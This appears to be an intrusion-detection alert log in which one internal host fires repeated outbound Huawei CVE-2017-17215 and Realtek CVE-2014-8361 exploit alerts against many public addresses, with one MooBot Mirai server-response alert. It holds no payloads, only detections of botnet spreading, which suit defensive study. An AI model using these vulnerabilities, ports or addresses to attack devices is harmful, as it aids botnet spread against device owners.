07/20/24-23:01:31.991336	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35894	37215	192.168.2.23	157.50.56.223
07/20/24-23:01:45.660608	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53702	52869	192.168.2.23	1.198.183.23
07/20/24-23:01:50.107973	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45408	52869	192.168.2.23	138.90.100.113
07/20/24-23:01:08.565610	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52460	52869	192.168.2.23	106.250.20.58
07/20/24-23:01:20.131339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46360	37215	192.168.2.23	41.169.34.148
07/20/24-23:01:45.144955	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33272	52869	192.168.2.23	178.242.0.237
07/20/24-23:01:54.562310	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35350	52869	192.168.2.23	108.242.179.170
07/20/24-23:01:01.500174	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54970	52869	192.168.2.23	176.229.44.248
07/20/24-23:01:56.353592	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49216	52869	192.168.2.23	124.34.247.33
07/20/24-23:00:57.221583	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35138	37215	192.168.2.23	197.213.7.238
07/20/24-23:01:31.317774	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57996	52869	192.168.2.23	213.71.93.224
07/20/24-23:01:42.651912	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33732	52869	192.168.2.23	131.104.254.70
07/20/24-23:01:58.143690	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52188	52869	192.168.2.23	149.240.88.161
07/20/24-23:01:07.026812	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48082	37215	192.168.2.23	134.252.78.39
07/20/24-23:01:08.693187	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46180	52869	192.168.2.23	27.181.35.71
07/20/24-23:01:04.049279	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33762	37215	192.168.2.23	210.26.13.127
07/20/24-23:01:04.621319	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49808	52869	192.168.2.23	107.208.110.238
07/20/24-23:01:08.559170	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45648	52869	192.168.2.23	206.208.92.27
07/20/24-23:01:44.368405	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51762	52869	192.168.2.23	197.9.101.249
07/20/24-23:01:44.520226	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52620	52869	192.168.2.23	88.161.89.160
07/20/24-23:01:54.947006	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48404	52869	192.168.2.23	174.110.120.103
07/20/24-23:01:44.533289	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43528	52869	192.168.2.23	37.247.244.116
07/20/24-23:01:48.445925	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43564	52869	192.168.2.23	78.252.101.116
07/20/24-23:01:41.299284	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39404	52869	192.168.2.23	186.129.147.154
07/20/24-23:01:46.407113	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39946	52869	192.168.2.23	150.76.139.116
07/20/24-23:02:02.439009	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56738	52869	192.168.2.23	92.202.152.200
07/20/24-23:01:44.825081	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58076	52869	192.168.2.23	94.208.23.95
07/20/24-23:01:43.023201	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38018	52869	192.168.2.23	49.182.174.70
07/20/24-23:01:06.989167	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46306	37215	192.168.2.23	167.13.180.172
07/20/24-23:01:45.500918	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39794	52869	192.168.2.23	104.226.237.113
07/20/24-23:01:52.940746	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53548	52869	192.168.2.23	221.3.151.48
07/20/24-23:01:11.631549	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37214	37215	192.168.2.23	167.255.64.127
07/20/24-23:01:57.476832	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60580	52869	192.168.2.23	138.82.75.1
07/20/24-23:01:24.934977	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50966	37215	192.168.2.23	197.31.197.218
07/20/24-23:01:04.769670	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38540	52869	192.168.2.23	135.110.213.163
07/20/24-23:01:14.169782	TCP	2030489	ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response	2466	32848	15.235.203.214	192.168.2.23
07/20/24-23:01:12.807274	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55108	52869	192.168.2.23	190.111.169.67
07/20/24-23:01:40.285038	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40002	37215	192.168.2.23	40.163.171.209
07/20/24-23:01:42.603963	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33514	52869	192.168.2.23	168.75.18.77
07/20/24-23:02:05.745200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52492	52869	192.168.2.23	104.143.173.10
07/20/24-23:01:08.621030	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40042	52869	192.168.2.23	137.195.128.162
07/20/24-23:01:41.217142	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59288	52869	192.168.2.23	221.195.248.226
07/20/24-23:01:08.629616	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40660	52869	192.168.2.23	135.110.213.163
07/20/24-23:01:31.983105	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45186	37215	192.168.2.23	41.118.52.116
07/20/24-23:01:10.610618	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39700	52869	192.168.2.23	213.27.181.202
07/20/24-23:01:43.845332	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50558	52869	192.168.2.23	109.104.48.215
07/20/24-23:01:49.660516	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34708	52869	192.168.2.23	203.130.71.37
07/20/24-23:01:04.031510	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48472	37215	192.168.2.23	157.194.46.134
07/20/24-23:02:11.592030	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56472	52869	192.168.2.23	139.220.216.2
07/20/24-23:01:53.775275	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58484	52869	192.168.2.23	155.246.197.66
07/20/24-23:01:08.585790	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54006	52869	192.168.2.23	63.150.57.125
07/20/24-23:01:11.630833	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36586	37215	192.168.2.23	197.224.131.168
07/20/24-23:01:13.287248	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58220	52869	192.168.2.23	5.142.247.218
07/20/24-23:01:08.567236	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57370	52869	192.168.2.23	151.5.114.8
07/20/24-23:01:31.991548	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44798	37215	192.168.2.23	41.24.2.217
07/20/24-23:01:21.952783	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55262	37215	192.168.2.23	197.13.253.64
07/20/24-23:01:41.399866	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34108	52869	192.168.2.23	92.1.18.107
07/20/24-23:01:44.019540	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44750	52869	192.168.2.23	179.32.230.224
07/20/24-23:02:48.447182	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60456	52869	192.168.2.23	20.185.209.150
07/20/24-23:01:34.043766	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60040	37215	192.168.2.23	41.243.122.81
07/20/24-23:00:59.163619	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38946	37215	192.168.2.23	67.15.208.48
07/20/24-23:01:01.632331	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51590	52869	192.168.2.23	63.150.57.125
07/20/24-23:01:27.660099	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52316	37215	192.168.2.23	209.25.89.22
07/20/24-23:02:04.640460	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40204	52869	192.168.2.23	39.135.72.98
07/20/24-23:02:01.761996	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57408	52869	192.168.2.23	105.47.109.140
07/20/24-23:01:46.893328	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45904	52869	192.168.2.23	47.141.1.52
07/20/24-23:01:54.405308	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47414	52869	192.168.2.23	176.129.124.225
07/20/24-23:01:00.640312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48356	37215	192.168.2.23	41.156.85.195
07/20/24-23:01:27.766239	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38616	37215	192.168.2.23	197.72.179.4
07/20/24-23:01:43.555540	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52378	52869	192.168.2.23	153.197.27.100
07/20/24-23:01:46.955966	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35814	52869	192.168.2.23	97.254.137.62
07/20/24-23:00:57.221803	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50602	37215	192.168.2.23	157.15.115.232
07/20/24-23:00:57.222279	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34110	37215	192.168.2.23	41.81.198.30
07/20/24-23:01:04.760964	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39610	52869	192.168.2.23	119.8.134.128
07/20/24-23:01:20.596563	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33634	52869	192.168.2.23	52.164.165.154
07/20/24-23:01:02.144931	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51696	52869	192.168.2.23	143.254.34.7
07/20/24-23:01:48.160375	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38964	52869	192.168.2.23	182.62.146.57
07/20/24-23:01:06.994337	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40450	37215	192.168.2.23	157.242.29.232
07/20/24-23:01:48.885298	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49894	52869	192.168.2.23	136.148.234.160
07/20/24-23:01:52.766296	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44980	52869	192.168.2.23	134.168.191.164
07/20/24-23:01:43.855231	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42296	52869	192.168.2.23	203.94.134.229
07/20/24-23:01:06.996055	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32826	37215	192.168.2.23	41.52.198.36
07/20/24-23:00:59.168569	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43828	37215	192.168.2.23	195.225.222.112
07/20/24-23:01:41.182584	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52454	52869	192.168.2.23	155.251.124.204
07/20/24-23:01:42.527235	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58096	52869	192.168.2.23	70.95.192.176
07/20/24-23:01:20.144672	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60704	37215	192.168.2.23	157.149.181.67
07/20/24-23:01:24.885849	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33952	37215	192.168.2.23	41.118.38.95
07/20/24-23:01:49.329747	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34040	52869	192.168.2.23	44.152.141.175
07/20/24-23:01:00.639012	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35120	37215	192.168.2.23	197.173.93.85
07/20/24-23:01:51.076036	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54624	52869	192.168.2.23	203.124.141.209
07/20/24-23:01:34.062277	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48014	37215	192.168.2.23	195.17.33.203
07/20/24-23:01:27.649731	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49508	37215	192.168.2.23	157.39.79.111
07/20/24-23:01:59.449569	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48850	52869	192.168.2.23	57.22.35.81
07/20/24-23:01:25.848287	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42276	52869	192.168.2.23	19.16.79.3
07/20/24-23:01:25.342792	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58658	52869	192.168.2.23	154.90.91.204
07/20/24-23:01:51.968363	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37256	52869	192.168.2.23	140.201.238.135
07/20/24-23:02:04.640459	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32958	52869	192.168.2.23	205.96.176.194
07/20/24-23:01:00.633984	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36626	37215	192.168.2.23	217.159.91.139
07/20/24-23:01:42.944341	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55426	52869	192.168.2.23	201.86.102.204
07/20/24-23:01:12.805765	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35282	52869	192.168.2.23	131.120.226.33
07/20/24-23:01:24.898476	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50252	37215	192.168.2.23	100.7.152.54
07/20/24-23:01:55.262010	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40798	52869	192.168.2.23	178.199.253.233
07/20/24-23:01:00.640312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57110	37215	192.168.2.23	41.126.189.157
07/20/24-23:01:14.100332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60878	37215	192.168.2.23	74.49.109.135
07/20/24-23:01:46.323644	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53882	52869	192.168.2.23	35.100.148.20
07/20/24-23:01:53.675171	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53096	52869	192.168.2.23	196.92.88.25
07/20/24-23:01:54.727406	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49250	52869	192.168.2.23	174.110.120.103
07/20/24-23:01:31.976649	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40180	37215	192.168.2.23	157.190.18.125
07/20/24-23:01:42.688831	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35844	52869	192.168.2.23	125.246.56.225
07/20/24-23:01:51.014531	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43234	52869	192.168.2.23	120.123.66.167
07/20/24-23:01:14.100332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46206	37215	192.168.2.23	199.196.42.92
07/20/24-23:01:58.353725	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34064	52869	192.168.2.23	39.235.222.86
07/20/24-23:01:42.452119	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41008	52869	192.168.2.23	130.186.238.85
07/20/24-23:01:08.613164	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57934	52869	192.168.2.23	191.173.38.241
07/20/24-23:01:44.405053	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49608	52869	192.168.2.23	18.181.232.193
07/20/24-23:01:20.132511	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53800	37215	192.168.2.23	157.242.54.73
07/20/24-23:01:27.653586	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51976	37215	192.168.2.23	197.98.241.246
07/20/24-23:01:21.951975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43410	37215	192.168.2.23	203.123.59.88
07/20/24-23:01:34.045749	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53856	37215	192.168.2.23	78.116.5.24
07/20/24-23:01:21.915268	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40924	37215	192.168.2.23	197.95.96.216
07/20/24-23:01:00.654988	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45546	37215	192.168.2.23	157.12.106.29
07/20/24-23:00:57.220905	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40282	37215	192.168.2.23	23.141.91.228
07/20/24-23:01:07.066373	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37724	37215	192.168.2.23	41.154.180.14
07/20/24-23:01:41.323363	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57652	52869	192.168.2.23	53.13.47.10
07/20/24-23:01:41.488676	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36638	52869	192.168.2.23	89.174.70.107
07/20/24-23:01:06.988055	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51074	37215	192.168.2.23	197.247.144.22
07/20/24-23:01:31.976984	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37002	37215	192.168.2.23	41.222.246.61
07/20/24-23:01:49.231608	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45954	52869	192.168.2.23	42.66.196.35
07/20/24-23:01:01.415907	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57270	52869	192.168.2.23	41.215.81.142
07/20/24-23:01:31.329969	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39478	52869	192.168.2.23	14.200.138.62
07/20/24-23:01:43.135090	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39010	52869	192.168.2.23	150.76.139.116
07/20/24-23:01:45.202570	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53546	52869	192.168.2.23	88.161.89.160
07/20/24-23:01:52.877228	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56862	52869	192.168.2.23	185.104.180.12
07/20/24-23:01:04.114673	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53382	37215	192.168.2.23	41.113.152.211
07/20/24-23:01:46.143923	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43004	52869	192.168.2.23	118.134.216.118
07/20/24-23:01:04.082385	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37702	37215	192.168.2.23	178.197.69.23
07/20/24-23:01:42.454682	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36628	52869	192.168.2.23	57.234.190.125
07/20/24-23:01:46.783122	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38728	52869	192.168.2.23	157.175.172.46
07/20/24-23:01:31.320679	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47936	52869	192.168.2.23	158.118.231.218
07/20/24-23:01:44.565131	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39708	52869	192.168.2.23	189.66.149.229
07/20/24-23:01:31.314906	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52102	52869	192.168.2.23	90.135.90.32
07/20/24-23:01:31.312894	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53344	52869	192.168.2.23	34.158.218.166
07/20/24-23:01:54.693625	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60830	52869	192.168.2.23	118.111.39.192
07/20/24-23:01:25.544921	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46024	52869	192.168.2.23	123.145.45.176
07/20/24-23:01:42.662466	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34206	52869	192.168.2.23	130.184.173.22
07/20/24-23:01:49.809920	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60818	52869	192.168.2.23	104.158.63.237
07/20/24-23:01:34.046616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53134	37215	192.168.2.23	109.114.93.203
07/20/24-23:01:02.132906	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41954	52869	192.168.2.23	108.144.159.228
07/20/24-23:01:53.175676	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42312	52869	192.168.2.23	125.58.232.126
07/20/24-23:01:41.549052	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58950	52869	192.168.2.23	52.97.71.90
07/20/24-23:01:20.157619	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41878	37215	192.168.2.23	197.24.162.140
07/20/24-23:02:08.826483	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38298	52869	192.168.2.23	59.115.71.173
07/20/24-23:01:42.290838	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37510	52869	192.168.2.23	49.182.174.70
07/20/24-23:01:41.339597	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48770	52869	192.168.2.23	40.200.215.102
07/20/24-23:01:41.156801	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33870	52869	192.168.2.23	165.210.119.115
07/20/24-23:01:57.269160	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34702	52869	192.168.2.23	185.209.39.214
07/20/24-23:01:31.975158	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58822	37215	192.168.2.23	181.88.221.210
07/20/24-23:01:24.885895	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47550	37215	192.168.2.23	80.165.144.55
07/20/24-23:02:11.630112	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50674	52869	192.168.2.23	142.204.114.80
07/20/24-23:01:40.334452	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35542	37215	192.168.2.23	157.188.48.47
07/20/24-23:01:42.664090	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58386	52869	192.168.2.23	113.55.199.122
07/20/24-23:01:58.313085	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51858	52869	192.168.2.23	199.118.63.112
07/20/24-23:02:18.238800	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35348	52869	192.168.2.23	140.189.156.39
07/20/24-23:01:40.336908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52330	37215	192.168.2.23	41.250.13.148
07/20/24-23:01:08.634900	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55072	52869	192.168.2.23	123.42.160.177
07/20/24-23:01:14.097795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36418	37215	192.168.2.23	44.253.8.229
07/20/24-23:01:46.439689	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48834	52869	192.168.2.23	129.145.211.206
07/20/24-23:01:54.914948	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54606	52869	192.168.2.23	171.236.184.127
07/20/24-23:01:21.923917	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46286	37215	192.168.2.23	19.252.46.199
07/20/24-23:01:48.065745	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48512	52869	192.168.2.23	87.107.52.197
